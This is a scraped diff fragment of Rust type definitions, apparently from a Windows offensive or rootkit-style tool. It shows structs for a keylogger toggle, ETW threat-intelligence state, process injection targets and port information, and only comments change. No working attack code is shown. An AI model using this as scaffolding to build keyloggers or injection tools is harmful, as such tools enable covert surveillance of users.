/// This struct is used to manage whether the keylogger functionality is enabled
|
||||
/// or disabled. The `enable` field indicates if the keylogger is active.
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct Keylogger {
|
||||
/// A boolean value indicating if the keylogger is enabled (`true`) or disabled (`false`).
|
||||
pub enable: bool,
|
||||
}
|
||||
|
||||
/// Represents the state of ETWTI (Event Tracing for Windows Thread Information).
|
||||
///
|
||||
/// This struct manages whether ETWTI is enabled or disabled for capturing thread
|
||||
@@ -85,9 +74,7 @@ pub struct TargetInjection {
|
||||
/// Represents information about a network or communication port.
|
||||
///
|
||||
/// This struct holds information about a specific port, including the protocol used,
|
||||
/// the type of port, its number, and whether the port is enabled or disabled.
|
||||
/// It is marked as `#[repr(C)]` for compatibility with C-style layouts, making it suitable for
|
||||
/// FFI (Foreign Function Interface) and low-level systems programming.
|
||||
/// the type of port, its number, and whether the port is enabled or disabled.
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
pub struct PortInfo {
|
||||
@@ -95,7 +82,7 @@ pub struct PortInfo {
|
||||
/// This field is represented by the `Protocol` enum.
|
||||
pub protocol: Protocol,
|
||||
|
||||
/// The type of port (e.g., open, filtered).
|
||||
/// The type of port (e.g., local, remote).
|
||||
/// This field is represented by the `PortType` enum.
|
||||
pub port_type: PortType,
|
||||
|
||||
|
||||
Reference in New Issue
Block a user